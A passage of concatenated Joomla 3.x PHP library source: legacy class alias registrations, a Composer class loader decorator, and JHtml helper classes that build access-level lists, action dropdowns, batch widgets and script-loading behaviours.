'\\Joomla\\CMS\\Form\\Field\\FrontendlanguageField',
'5.0');
JLoader::registerAlias('JFormFieldHeadertag',
'\\Joomla\\CMS\\Form\\Field\\HeadertagField', '5.0');
JLoader::registerAlias('JFormFieldHelpsite',
'\\Joomla\\CMS\\Form\\Field\\HelpsiteField', '5.0');
JLoader::registerAlias('JFormFieldLastvisitDateRange',
'\\Joomla\\CMS\\Form\\Field\\LastvisitdaterangeField',
'5.0');
JLoader::registerAlias('JFormFieldLimitbox',
'\\Joomla\\CMS\\Form\\Field\\LimitboxField', '5.0');
JLoader::registerAlias('JFormFieldMedia',
'\\Joomla\\CMS\\Form\\Field\\MediaField', '5.0');
JLoader::registerAlias('JFormFieldMenu',
'\\Joomla\\CMS\\Form\\Field\\MenuField', '5.0');
JLoader::registerAlias('JFormFieldMenuitem',
'\\Joomla\\CMS\\Form\\Field\\MenuitemField', '5.0');
JLoader::registerAlias('JFormFieldModuleOrder',
'\\Joomla\\CMS\\Form\\Field\\ModuleorderField', '5.0');
JLoader::registerAlias('JFormFieldModulePosition',
'\\Joomla\\CMS\\Form\\Field\\ModulepositionField',
'5.0');
JLoader::registerAlias('JFormFieldModuletag',
'\\Joomla\\CMS\\Form\\Field\\ModuletagField', '5.0');
JLoader::registerAlias('JFormFieldOrdering',
'\\Joomla\\CMS\\Form\\Field\\OrderingField', '5.0');
JLoader::registerAlias('JFormFieldPlugin_Status',
'\\Joomla\\CMS\\Form\\Field\\PluginstatusField',
'5.0');
JLoader::registerAlias('JFormFieldRedirect_Status',
'\\Joomla\\CMS\\Form\\Field\\RedirectStatusField',
'5.0');
JLoader::registerAlias('JFormFieldRegistrationDateRange',
'\\Joomla\\CMS\\Form\\Field\\RegistrationdaterangeField',
'5.0');
JLoader::registerAlias('JFormFieldStatus',
'\\Joomla\\CMS\\Form\\Field\\StatusField', '5.0');
JLoader::registerAlias('JFormFieldTag',
'\\Joomla\\CMS\\Form\\Field\\TagField', '5.0');
JLoader::registerAlias('JFormFieldTemplatestyle',
'\\Joomla\\CMS\\Form\\Field\\TemplatestyleField',
'5.0');
JLoader::registerAlias('JFormFieldUserActive',
'\\Joomla\\CMS\\Form\\Field\\UseractiveField', '5.0');
JLoader::registerAlias('JFormFieldUserGroupList',
'\\Joomla\\CMS\\Form\\Field\\UsergrouplistField',
'5.0');
JLoader::registerAlias('JFormFieldUserState',
'\\Joomla\\CMS\\Form\\Field\\UserstateField', '5.0');
JLoader::registerAlias('JFormFieldUser',
'\\Joomla\\CMS\\Form\\Field\\UserField', '5.0');
JLoader::registerAlias('JFormRuleBoolean',
'\\Joomla\\CMS\\Form\\Rule\\BooleanRule', '5.0');
JLoader::registerAlias('JFormRuleCalendar',
'\\Joomla\\CMS\\Form\\Rule\\CalendarRule', '5.0');
JLoader::registerAlias('JFormRuleCaptcha',
'\\Joomla\\CMS\\Form\\Rule\\CaptchaRule', '5.0');
JLoader::registerAlias('JFormRuleColor',
'\\Joomla\\CMS\\Form\\Rule\\ColorRule', '5.0');
JLoader::registerAlias('JFormRuleEmail',
'\\Joomla\\CMS\\Form\\Rule\\EmailRule', '5.0');
JLoader::registerAlias('JFormRuleEquals',
'\\Joomla\\CMS\\Form\\Rule\\EqualsRule', '5.0');
JLoader::registerAlias('JFormRuleNotequals',
'\\Joomla\\CMS\\Form\\Rule\\NotequalsRule', '5.0');
JLoader::registerAlias('JFormRuleNumber',
'\\Joomla\\CMS\\Form\\Rule\\NumberRule', '5.0');
JLoader::registerAlias('JFormRuleOptions',
'\\Joomla\\CMS\\Form\\Rule\\OptionsRule', '5.0');
JLoader::registerAlias('JFormRulePassword',
'\\Joomla\\CMS\\Form\\Rule\\PasswordRule', '5.0');
JLoader::registerAlias('JFormRuleRules',
'\\Joomla\\CMS\\Form\\Rule\\RulesRule', '5.0');
JLoader::registerAlias('JFormRuleTel',
'\\Joomla\\CMS\\Form\\Rule\\TelRule', '5.0');
JLoader::registerAlias('JFormRuleUrl',
'\\Joomla\\CMS\\Form\\Rule\\UrlRule', '5.0');
JLoader::registerAlias('JFormRuleUsername',
'\\Joomla\\CMS\\Form\\Rule\\UsernameRule', '5.0');
JLoader::registerAlias('JMicrodata',
'\\Joomla\\CMS\\Microdata\\Microdata', '5.0');
JLoader::registerAlias('JFactory',
'\\Joomla\\CMS\\Factory', '5.0');
JLoader::registerAlias('JMail',
'\\Joomla\\CMS\\Mail\\Mail', '5.0');
JLoader::registerAlias('JMailHelper',
'\\Joomla\\CMS\\Mail\\MailHelper', '5.0');
JLoader::registerAlias('JMailWrapperHelper',
'\\Joomla\\CMS\\Mail\\MailWrapper', '4.0');
JLoader::registerAlias('JClientHelper',
'\\Joomla\\CMS\\Client\\ClientHelper', '5.0');
JLoader::registerAlias('JClientWrapperHelper',
'\\Joomla\\CMS\\Client\\ClientWrapper', '5.0');
JLoader::registerAlias('JClientFtp',
'\\Joomla\\CMS\\Client\\FtpClient', '5.0');
JLoader::registerAlias('JFTP',
'\\Joomla\\CMS\\Client\\FtpClient', '4.0');
JLoader::registerAlias('JClientLdap',
'\\Joomla\\Ldap\\LdapClient', '5.0');
JLoader::registerAlias('JLDAP',
'\\Joomla\\Ldap\\LdapClient', '4.0');
JLoader::registerAlias('JUpdate',
'\\Joomla\\CMS\\Updater\\Update', '5.0');
JLoader::registerAlias('JUpdateAdapter',
'\\Joomla\\CMS\\Updater\\UpdateAdapter', '5.0');
JLoader::registerAlias('JUpdater',
'\\Joomla\\CMS\\Updater\\Updater', '5.0');
JLoader::registerAlias('JUpdaterCollection',
'\\Joomla\\CMS\\Updater\\Adapter\\CollectionAdapter',
'5.0');
JLoader::registerAlias('JUpdaterExtension',
'\\Joomla\\CMS\\Updater\\Adapter\\ExtensionAdapter',
'5.0');
JLoader::registerAlias('JCrypt',
'\\Joomla\\CMS\\Crypt\\Crypt', '5.0');
JLoader::registerAlias('JCryptCipher',
'\\Joomla\\CMS\\Crypt\\CipherInterface', '5.0');
JLoader::registerAlias('JCryptKey',
'\\Joomla\\CMS\\Crypt\\Key', '5.0');
JLoader::registerAlias('JCryptPassword',
'\\Joomla\\CMS\\Crypt\\CryptPassword', '4.0');
JLoader::registerAlias('JCryptCipherBlowfish',
'\\Joomla\\CMS\\Crypt\\Cipher\\BlowfishCipher', '4.0');
JLoader::registerAlias('JCryptCipherCrypto',
'\\Joomla\\CMS\\Crypt\\Cipher\\CryptoCipher', '5.0');
JLoader::registerAlias('JCryptCipherMcrypt',
'\\Joomla\\CMS\\Crypt\\Cipher\\McryptCipher', '4.0');
JLoader::registerAlias('JCryptCipherRijndael256',
'\\Joomla\\CMS\\Crypt\\Cipher\\Rijndael256Cipher',
'4.0');
JLoader::registerAlias('JCryptCipherSimple',
'\\Joomla\\CMS\\Crypt\\Cipher\\SimpleCipher', '4.0');
JLoader::registerAlias('JCryptCipherSodium',
'\\Joomla\\CMS\\Crypt\\Cipher\\SodiumCipher', '5.0');
JLoader::registerAlias('JCryptCipher3Des',
'\\Joomla\\CMS\\Crypt\\Cipher\\TripleDesCipher',
'4.0');
JLoader::registerAlias('JCryptPasswordSimple',
'\\Joomla\\CMS\\Crypt\\Password\\SimpleCryptPassword',
'4.0');
JLoader::registerAlias('JStringPunycode',
'\\Joomla\\CMS\\String\\PunycodeHelper', '5.0');
JLoader::registerAlias('JBuffer',
'\\Joomla\\CMS\\Utility\\BufferStreamHandler', '5.0');
JLoader::registerAlias('JUtility',
'\\Joomla\\CMS\\Utility\\Utility', '5.0');
JLoader::registerAlias('JInputCli',
'\\Joomla\\CMS\\Input\\Cli', '5.0');
JLoader::registerAlias('JInputCookie',
'\\Joomla\\CMS\\Input\\Cookie', '5.0');
JLoader::registerAlias('JInputFiles',
'\\Joomla\\CMS\\Input\\Files', '5.0');
JLoader::registerAlias('JInput',
'\\Joomla\\CMS\\Input\\Input', '5.0');
JLoader::registerAlias('JInputJSON',
'\\Joomla\\CMS\\Input\\Json', '5.0');
JLoader::registerAlias('JFeed',
'\\Joomla\\CMS\\Feed\\Feed', '5.0');
JLoader::registerAlias('JFeedEntry',
'\\Joomla\\CMS\\Feed\\FeedEntry', '5.0');
JLoader::registerAlias('JFeedFactory',
'\\Joomla\\CMS\\Feed\\FeedFactory', '5.0');
JLoader::registerAlias('JFeedLink',
'\\Joomla\\CMS\\Feed\\FeedLink', '5.0');
JLoader::registerAlias('JFeedParser',
'\\Joomla\\CMS\\Feed\\FeedParser', '5.0');
JLoader::registerAlias('JFeedPerson',
'\\Joomla\\CMS\\Feed\\FeedPerson', '5.0');
JLoader::registerAlias('JFeedParserAtom',
'\\Joomla\\CMS\\Feed\\Parser\\AtomParser', '5.0');
JLoader::registerAlias('JFeedParserNamespace',
'\\Joomla\\CMS\\Feed\\Parser\\NamespaceParserInterface',
'5.0');
JLoader::registerAlias('JFeedParserRss',
'\\Joomla\\CMS\\Feed\\Parser\\RssParser', '5.0');
JLoader::registerAlias('JFeedParserRssItunes',
'\\Joomla\\CMS\\Feed\\Parser\\Rss\\ItunesRssParser',
'5.0');
JLoader::registerAlias('JFeedParserRssMedia',
'\\Joomla\\CMS\\Feed\\Parser\\Rss\\MediaRssParser',
'5.0');
JLoader::registerAlias('JImage',
'\\Joomla\\CMS\\Image\\Image', '5.0');
JLoader::registerAlias('JImageFilter',
'\\Joomla\\CMS\\Image\\ImageFilter', '5.0');
JLoader::registerAlias('JImageFilterBackgroundfill',
'\\Joomla\\Image\\Filter\\Backgroundfill', '5.0');
JLoader::registerAlias('JImageFilterBrightness',
'\\Joomla\\Image\\Filter\\Brightness', '5.0');
JLoader::registerAlias('JImageFilterContrast',
'\\Joomla\\Image\\Filter\\Contrast', '5.0');
JLoader::registerAlias('JImageFilterEdgedetect',
'\\Joomla\\Image\\Filter\\Edgedetect', '5.0');
JLoader::registerAlias('JImageFilterEmboss',
'\\Joomla\\Image\\Filter\\Emboss', '5.0');
JLoader::registerAlias('JImageFilterNegate',
'\\Joomla\\Image\\Filter\\Negate', '5.0');
JLoader::registerAlias('JImageFilterSketchy',
'\\Joomla\\Image\\Filter\\Sketchy', '5.0');
JLoader::registerAlias('JImageFilterSmooth',
'\\Joomla\\Image\\Filter\\Smooth', '5.0');
JLoader::registerAlias('JObject',
'\\Joomla\\CMS\\Object\\CMSObject', '5.0');
JLoader::registerAlias('JExtensionHelper',
'\\Joomla\\CMS\\Extension\\ExtensionHelper', '5.0');
JLoader::registerAlias('JHtml',
'\\Joomla\\CMS\\HTML\\HTMLHelper', '5.0');
JLoader::registerAlias('JFile',
'\\Joomla\\CMS\\Filesystem\\File', '5.0');
JLoader::registerAlias('JFolder',
'\\Joomla\\CMS\\Filesystem\\Folder', '5.0');
JLoader::registerAlias('JFilesystemHelper',
'\\Joomla\\CMS\\Filesystem\\FilesystemHelper', '5.0');
JLoader::registerAlias('JFilesystemPatcher',
'\\Joomla\\CMS\\Filesystem\\Patcher', '5.0');
JLoader::registerAlias('JPath',
'\\Joomla\\CMS\\Filesystem\\Path', '5.0');
JLoader::registerAlias('JStream',
'\\Joomla\\CMS\\Filesystem\\Stream', '5.0');
JLoader::registerAlias('JStreamString',
'\\Joomla\\CMS\\Filesystem\\Streams\\StreamString',
'5.0');
JLoader::registerAlias('JStringController',
'\\Joomla\\CMS\\Filesystem\\Support\\StringController',
'5.0');
JLoader::registerAlias('JFilesystemWrapperFile',
'\\Joomla\\CMS\\Filesystem\\Wrapper\\FileWrapper',
'5.0');
JLoader::registerAlias('JFilesystemWrapperFolder',
'\\Joomla\\CMS\\Filesystem\\Wrapper\\FolderWrapper',
'5.0');
JLoader::registerAlias('JFilesystemWrapperPath',
'\\Joomla\\CMS\\Filesystem\\Wrapper\\PathWrapper',
'5.0');
<?php
/**
* @package Joomla.Libraries
* @subpackage Class
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Composer\Autoload\ClassLoader;
/**
* Decorate Composer ClassLoader for Joomla!
*
* For backward compatibility due to class aliasing in the CMS, the
loadClass() method was modified to call
* the JLoader::applyAliasFor() method.
*
* @since 3.4
*/
class JClassLoader
{
/**
* The composer class loader
*
* @var ClassLoader
* @since 3.4
*/
private $loader;
/**
* Constructor
*
* @param ClassLoader $loader Composer autoloader
*
* @since 3.4
*/
public function __construct(ClassLoader $loader)
{
$this->loader = $loader;
}
/**
* Loads the given class or interface.
*
* @param string $class The name of the class
*
* @return boolean|null True if loaded, null otherwise
*
* @since 3.4
*/
public function loadClass($class)
{
if ($result = $this->loader->loadClass($class))
{
JLoader::applyAliasFor($class);
}
return $result;
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Extended Utility class for all HTML drawing classes.
*
* @since 1.6
*/
abstract class JHtmlAccess
{
/**
* A cached array of the asset groups
*
* @var array
* @since 1.6
*/
protected static $asset_groups = null;
/**
* Displays a list of the available access view levels
*
* @param string $name The form field name.
* @param string $selected The name of the selected section.
* @param string $attribs Additional attributes to add to the select
field.
* @param mixed $params True to add "All Sections" option
or an array of options
* @param mixed $id The form field id or false if not used
*
* @return string The required HTML for the SELECT tag.
*
* @see JFormFieldAccessLevel
* @since 1.6
*/
public static function level($name, $selected, $attribs = '',
$params = true, $id = false)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('a.id', 'value') .
', ' . $db->quoteName('a.title', 'text'))
->from($db->quoteName('#__viewlevels', 'a'))
->group($db->quoteName(array('a.id',
'a.title', 'a.ordering')))
->order($db->quoteName('a.ordering') . ' ASC')
->order($db->quoteName('title') . ' ASC');
// Get the options.
$db->setQuery($query);
$options = $db->loadObjectList();
// If params is an array, push these options to the array
if (is_array($params))
{
$options = array_merge($params, $options);
}
// If all levels is allowed, push it into the array.
elseif ($params)
{
array_unshift($options, JHtml::_('select.option',
'', JText::_('JOPTION_ACCESS_SHOW_ALL_LEVELS')));
}
return JHtml::_(
'select.genericlist',
$options,
$name,
array(
'list.attr' => $attribs,
'list.select' => $selected,
'id' => $id,
)
);
}
/**
* Displays a list of the available user groups.
*
* @param string $name The form field name.
* @param string $selected The name of the selected section.
* @param string $attribs Additional attributes to add to the select
field.
* @param boolean $allowAll True to add "All Groups" option.
* @param mixed $id The form field id
*
* @return string The required HTML for the SELECT tag.
*
* @see JFormFieldUsergroup
* @since 1.6
*/
public static function usergroup($name, $selected, $attribs =
'', $allowAll = true, $id = false)
{
$options = array_values(JHelperUsergroups::getInstance()->getAll());
for ($i = 0, $n = count($options); $i < $n; $i++)
{
$options[$i]->value = $options[$i]->id;
$options[$i]->text = str_repeat('- ',
$options[$i]->level) . $options[$i]->title;
}
// If all usergroups is allowed, push it into the array.
if ($allowAll)
{
array_unshift($options, JHtml::_('select.option',
'', JText::_('JOPTION_ACCESS_SHOW_ALL_GROUPS')));
}
return JHtml::_('select.genericlist', $options, $name,
array('list.attr' => $attribs, 'list.select' =>
$selected, 'id' => $id));
}
/**
* Returns a UL list of user groups with checkboxes
*
* @param string $name The name of the checkbox controls
array
* @param array $selected An array of the checked boxes
* @param boolean $checkSuperAdmin If false only super admins can add
to super admin groups
*
* @return string
*
* @since 1.6
*/
public static function usergroups($name, $selected, $checkSuperAdmin =
false)
{
static $count;
$count++;
$isSuperAdmin =
JFactory::getUser()->authorise('core.admin');
$groups = array_values(JHelperUsergroups::getInstance()->getAll());
$html = array();
for ($i = 0, $n = count($groups); $i < $n; $i++)
{
$item = &$groups[$i];
// If checkSuperAdmin is true, only add item if the user is superadmin
or the group is not super admin
if ((!$checkSuperAdmin) || $isSuperAdmin ||
(!JAccess::checkGroup($item->id, 'core.admin')))
{
// Setup the variable attributes.
$eid = $count . 'group_' . $item->id;
// Don't call in_array unless something is selected
$checked = '';
if ($selected)
{
$checked = in_array($item->id, $selected) ? '
checked="checked"' : '';
}
$rel = ($item->parent_id > 0) ? ' rel="' . $count
. 'group_' . $item->parent_id . '"' :
'';
// Build the HTML for the item.
$html[] = ' <div class="control-group">';
$html[] = ' <div class="controls">';
$html[] = ' <label class="checkbox"
for="' . $eid . '">';
$html[] = ' <input type="checkbox"
name="' . $name . '[]" value="' .
$item->id . '" id="' . $eid . '"';
$html[] = ' ' . $checked . $rel . ' />';
$html[] = ' ' .
JLayoutHelper::render('joomla.html.treeprefix',
array('level' => $item->level + 1)) . $item->title;
$html[] = ' </label>';
$html[] = ' </div>';
$html[] = ' </div>';
}
}
return implode("\n", $html);
}
/**
* Returns a UL list of actions with checkboxes
*
* @param string $name The name of the checkbox controls array
* @param array $selected An array of the checked boxes
* @param string $component The component the permissions apply to
* @param string $section The section (within a component) the
permissions apply to
*
* @return string
*
* @see JAccess
* @since 1.6
*/
public static function actions($name, $selected, $component, $section =
'global')
{
static $count;
$count++;
$actions = JAccess::getActionsFromFile(
JPATH_ADMINISTRATOR . '/components/' . $component .
'/access.xml',
"/access/section[@name='" . $section .
"']/"
);
$html = array();
$html[] = '<ul class="checklist
access-actions">';
for ($i = 0, $n = count($actions); $i < $n; $i++)
{
$item = &$actions[$i];
// Setup the variable attributes.
$eid = $count . 'action_' . $item->id;
$checked = in_array($item->id, $selected) ? '
checked="checked"' : '';
// Build the HTML for the item.
$html[] = ' <li>';
$html[] = ' <input type="checkbox" name="'
. $name . '[]" value="' . $item->id . '"
id="' . $eid . '"';
$html[] = ' ' . $checked . ' />';
$html[] = ' <label for="' . $eid .
'">';
$html[] = ' ' . JText::_($item->title);
$html[] = ' </label>';
$html[] = ' </li>';
}
$html[] = '</ul>';
return implode("\n", $html);
}
/**
* Gets a list of the asset groups as an array of JHtml compatible
options.
*
* @return mixed An array or false if an error occurs
*
* @since 1.6
*/
public static function assetgroups()
{
if (empty(static::$asset_groups))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('a.id AS value, a.title AS text')
->from($db->quoteName('#__viewlevels') . ' AS
a')
->group('a.id, a.title, a.ordering')
->order('a.ordering ASC');
$db->setQuery($query);
static::$asset_groups = $db->loadObjectList();
}
return static::$asset_groups;
}
/**
* Displays a Select list of the available asset groups
*
* @param string $name The name of the select element
* @param mixed $selected The selected asset group id
* @param string $attribs Optional attributes for the select field
* @param array $config An array of options for the control
*
* @return mixed An HTML string or null if an error occurs
*
* @since 1.6
*/
public static function assetgrouplist($name, $selected, $attribs = null,
$config = array())
{
static $count;
$options = static::assetgroups();
if (isset($config['title']))
{
array_unshift($options, JHtml::_('select.option',
'', $config['title']));
}
return JHtml::_(
'select.genericlist',
$options,
$name,
array(
'id' => isset($config['id']) ?
$config['id'] : 'assetgroups_' . (++$count),
'list.attr' => $attribs === null ?
'class="inputbox" size="3"' : $attribs,
'list.select' => (int) $selected,
)
);
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML utility class for building a dropdown menu
*
* @since 3.2
*/
abstract class JHtmlActionsDropdown
{
/**
* @var string HTML markup for the dropdown list
* @since 3.2
*/
protected static $dropDownList = array();
/**
* Method to render current dropdown menu
*
* @param string $item An item to render.
*
* @return string HTML markup for the dropdown list
*
* @since 3.2
*/
public static function render($item = '')
{
$html = array();
$html[] = '<button data-toggle="dropdown"
class="dropdown-toggle btn btn-micro">';
$html[] = '<span class="caret"></span>';
if ($item)
{
$html[] = '<span class="element-invisible">' .
JText::sprintf('JACTIONS', $item) . '</span>';
}
$html[] = '</button>';
$html[] = '<ul class="dropdown-menu">';
$html[] = implode('', static::$dropDownList);
$html[] = '</ul>';
static::$dropDownList = null;
return implode('', $html);
}
/**
* Append a publish item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function publish($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'publish';
static::addCustomItem(JText::_('JTOOLBAR_PUBLISH'),
'publish', $id, $task);
}
/**
* Append an unpublish item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function unpublish($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'unpublish';
static::addCustomItem(JText::_('JTOOLBAR_UNPUBLISH'),
'unpublish', $id, $task);
}
/**
* Append a feature item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function feature($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'featured';
static::addCustomItem(JText::_('JFEATURE'),
'featured', $id, $task);
}
/**
* Append an unfeature item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function unfeature($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'unfeatured';
static::addCustomItem(JText::_('JUNFEATURE'),
'unfeatured', $id, $task);
}
/**
* Append an archive item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function archive($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'archive';
static::addCustomItem(JText::_('JTOOLBAR_ARCHIVE'),
'archive', $id, $task);
}
/**
* Append an unarchive item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function unarchive($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'unpublish';
static::addCustomItem(JText::_('JTOOLBAR_UNARCHIVE'),
'unarchive', $id, $task);
}
/**
* Append a duplicate item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function duplicate($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'duplicate';
static::addCustomItem(JText::_('JTOOLBAR_DUPLICATE'),
'copy', $id, $task);
}
/**
* Append a trash item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function trash($id, $prefix = '')
{
$task = ($prefix ? $prefix . '.' : '') .
'trash';
static::addCustomItem(JText::_('JTOOLBAR_TRASH'),
'trash', $id, $task);
}
/**
* Append an untrash item to the current dropdown menu
*
* @param string $id ID of corresponding checkbox of the record
* @param string $prefix The task prefix
*
* @return void
*
* @since 3.2
*/
public static function untrash($id, $prefix = '')
{
self::publish($id, $prefix);
}
/**
* Writes a divider between dropdown items
*
* @return void
*
* @since 3.0
*/
public static function divider()
{
static::$dropDownList[] = '<li
class="divider"></li>';
}
/**
* Append a custom item to current dropdown menu.
*
* @param string $label The label of the item.
* @param string $icon The icon classname.
* @param string $id The item id.
* @param string $task The task.
*
* @return void
*
* @since 3.2
*/
public static function addCustomItem($label, $icon = '', $id =
'', $task = '')
{
static::$dropDownList[] = '<li>'
. '<a href = "javascript://"
onclick="listItemTask(\'' . $id . '\',
\'' . $task . '\')">'
. ($icon ? '<span class="icon-' . $icon . '"
aria-hidden="true"></span> ' : '')
. $label
. '</a>'
. '</li>';
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class working with administrator language select lists
*
* @since 3.8.0
*/
abstract class JHtmlAdminLanguage
{
/**
* Cached array of the administrator language items.
*
* @var array
* @since 3.8.0
*/
protected static $items = null;
/**
* Get a list of the available administrator language items.
*
* @param boolean $all True to include All (*)
* @param boolean $translate True to translate All
*
* @return string
*
* @since 3.8.0
*/
public static function existing($all = false, $translate = false)
{
if (empty(static::$items))
{
$languages = array();
$admin_languages =
JLanguageHelper::getKnownLanguages(JPATH_ADMINISTRATOR);
foreach ($admin_languages as $tag => $language)
{
$languages[$tag] = $language['nativeName'];
}
ksort($languages);
static::$items = $languages;
}
if ($all)
{
$all_option = array(new JObject(array('value' =>
'*', 'text' => $translate ?
JText::alt('JALL', 'language') :
'JALL_LANGUAGE')));
return array_merge($all_option, static::$items);
}
else
{
return static::$items;
}
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Extended Utility class for batch processing widgets.
*
* @since 1.7
*
* @deprecated 4.0 Use JLayout directly
*/
abstract class JHtmlBatch
{
/**
* Display a batch widget for the access level selector.
*
* @return string The necessary HTML for the widget.
*
* @since 1.7
*
* @deprecated 4.0 instead of JHtml::_('batch.access'); use
JLayoutHelper::render('joomla.html.batch.access', array());
*/
public static function access()
{
JLog::add('The use of JHtml::_("batch.access") is
deprecated use JLayout instead.', JLog::WARNING,
'deprecated');
return JLayoutHelper::render('joomla.html.batch.access',
array());
}
/**
* Displays a batch widget for moving or copying items.
*
* @param string $extension The extension that owns the category.
*
* @return string The necessary HTML for the widget.
*
* @since 1.7
*
* @deprecated 4.0 instead of JHtml::_('batch.item'); use
JLayoutHelper::render('joomla.html.batch.item',
array('extension' => 'com_XXX'));
*/
public static function item($extension)
{
$displayData = array('extension' => $extension);
JLog::add('The use of JHtml::_("batch.item") is deprecated
use JLayout instead.', JLog::WARNING, 'deprecated');
return JLayoutHelper::render('joomla.html.batch.item',
$displayData);
}
/**
* Display a batch widget for the language selector.
*
* @return string The necessary HTML for the widget.
*
* @since 2.5
*
* @deprecated 4.0 instead of JHtml::_('batch.language'); use
JLayoutHelper::render('joomla.html.batch.language', array());
*/
public static function language()
{
JLog::add('The use of JHtml::_("batch.language") is
deprecated use JLayout instead.', JLog::WARNING,
'deprecated');
return JLayoutHelper::render('joomla.html.batch.language',
array());
}
/**
* Display a batch widget for the user selector.
*
* @param boolean $noUser Choose to display a "no user"
option
*
* @return string The necessary HTML for the widget.
*
* @since 2.5
*
* @deprecated 4.0 instead of JHtml::_('batch.user'); use
JLayoutHelper::render('joomla.html.batch.user', array());
*/
public static function user($noUser = true)
{
$displayData = array('noUser' => $noUser);
JLog::add('The use of JHtml::_("batch.user") is deprecated
use JLayout instead.', JLog::WARNING, 'deprecated');
return JLayoutHelper::render('joomla.html.batch.user',
$displayData);
}
/**
* Display a batch widget for the tag selector.
*
* @return string The necessary HTML for the widget.
*
* @since 3.1
*
* @deprecated 4.0 instead of JHtml::_('batch.tag'); use
JLayoutHelper::render('joomla.html.batch.tag', array());
*/
public static function tag()
{
JLog::add('The use of JHtml::_("batch.tag") is deprecated
use JLayout instead.', JLog::WARNING, 'deprecated');
return JLayoutHelper::render('joomla.html.batch.tag', array());
}
}
<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for JavaScript behaviors
*
* @since 1.5
*/
abstract class JHtmlBehavior
{
/**
* Array containing information for loaded files
*
* @var array
* @since 2.5
*/
protected static $loaded = array();
/**
* Method to load the MooTools framework into the document head
*
* If debugging mode is on an uncompressed version of MooTools is included
for easier debugging.
*
* @param boolean $extras Flag to determine whether to load MooTools
More in addition to Core
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 1.6
* @deprecated 4.0 Update scripts to jquery
*/
public static function framework($extras = false, $debug = null)
{
$type = $extras ? 'more' : 'core';
// Only load once
if (!empty(static::$loaded[__METHOD__][$type]))
{
return;
}
JLog::add('JHtmlBehavior::framework is deprecated. Update to jquery
scripts.', JLog::WARNING, 'deprecated');
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
if ($type !== 'core' &&
empty(static::$loaded[__METHOD__]['core']))
{
static::framework(false, $debug);
}
JHtml::_('script', 'system/mootools-' . $type .
'.js', array('version' => 'auto',
'relative' => true, 'detectDebug' => $debug));
// Keep loading core.js for BC reasons
static::core();
static::$loaded[__METHOD__][$type] = true;
return;
}
/**
* Method to load core.js into the document head.
*
* Core.js defines the 'Joomla' namespace and contains functions
which are used across extensions
*
* @return void
*
* @since 3.3
*/
public static function core()
{
// Only load once
if (isset(static::$loaded[__METHOD__]))
{
return;
}
JHtml::_('form.csrf');
JHtml::_('script', 'system/core.js',
array('version' => 'auto', 'relative'
=> true));
// Add core and base uri paths so javascript scripts can use them.
JFactory::getDocument()->addScriptOptions('system.paths',
array('root' => JUri::root(true), 'base' =>
JUri::base(true)));
static::$loaded[__METHOD__] = true;
}
/**
* Add unobtrusive JavaScript support for image captions.
*
* @param string $selector The selector for which a caption behaviour
is to be applied.
*
* @return void
*
* @since 1.5
*
* @Deprecated 4.0 Use native HTML figure tags.
*/
public static function caption($selector = 'img.caption')
{
JLog::add('JHtmlBehavior::caption is deprecated. Use native HTML
figure tags.', JLog::WARNING, 'deprecated');
// Only load once
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'system/caption.js',
array('version' => 'auto', 'relative'
=> true));
// Attach caption to document
JFactory::getDocument()->addScriptDeclaration(
"jQuery(window).on('load', function() {
new JCaption('" . $selector . "');
});"
);
// Set static array
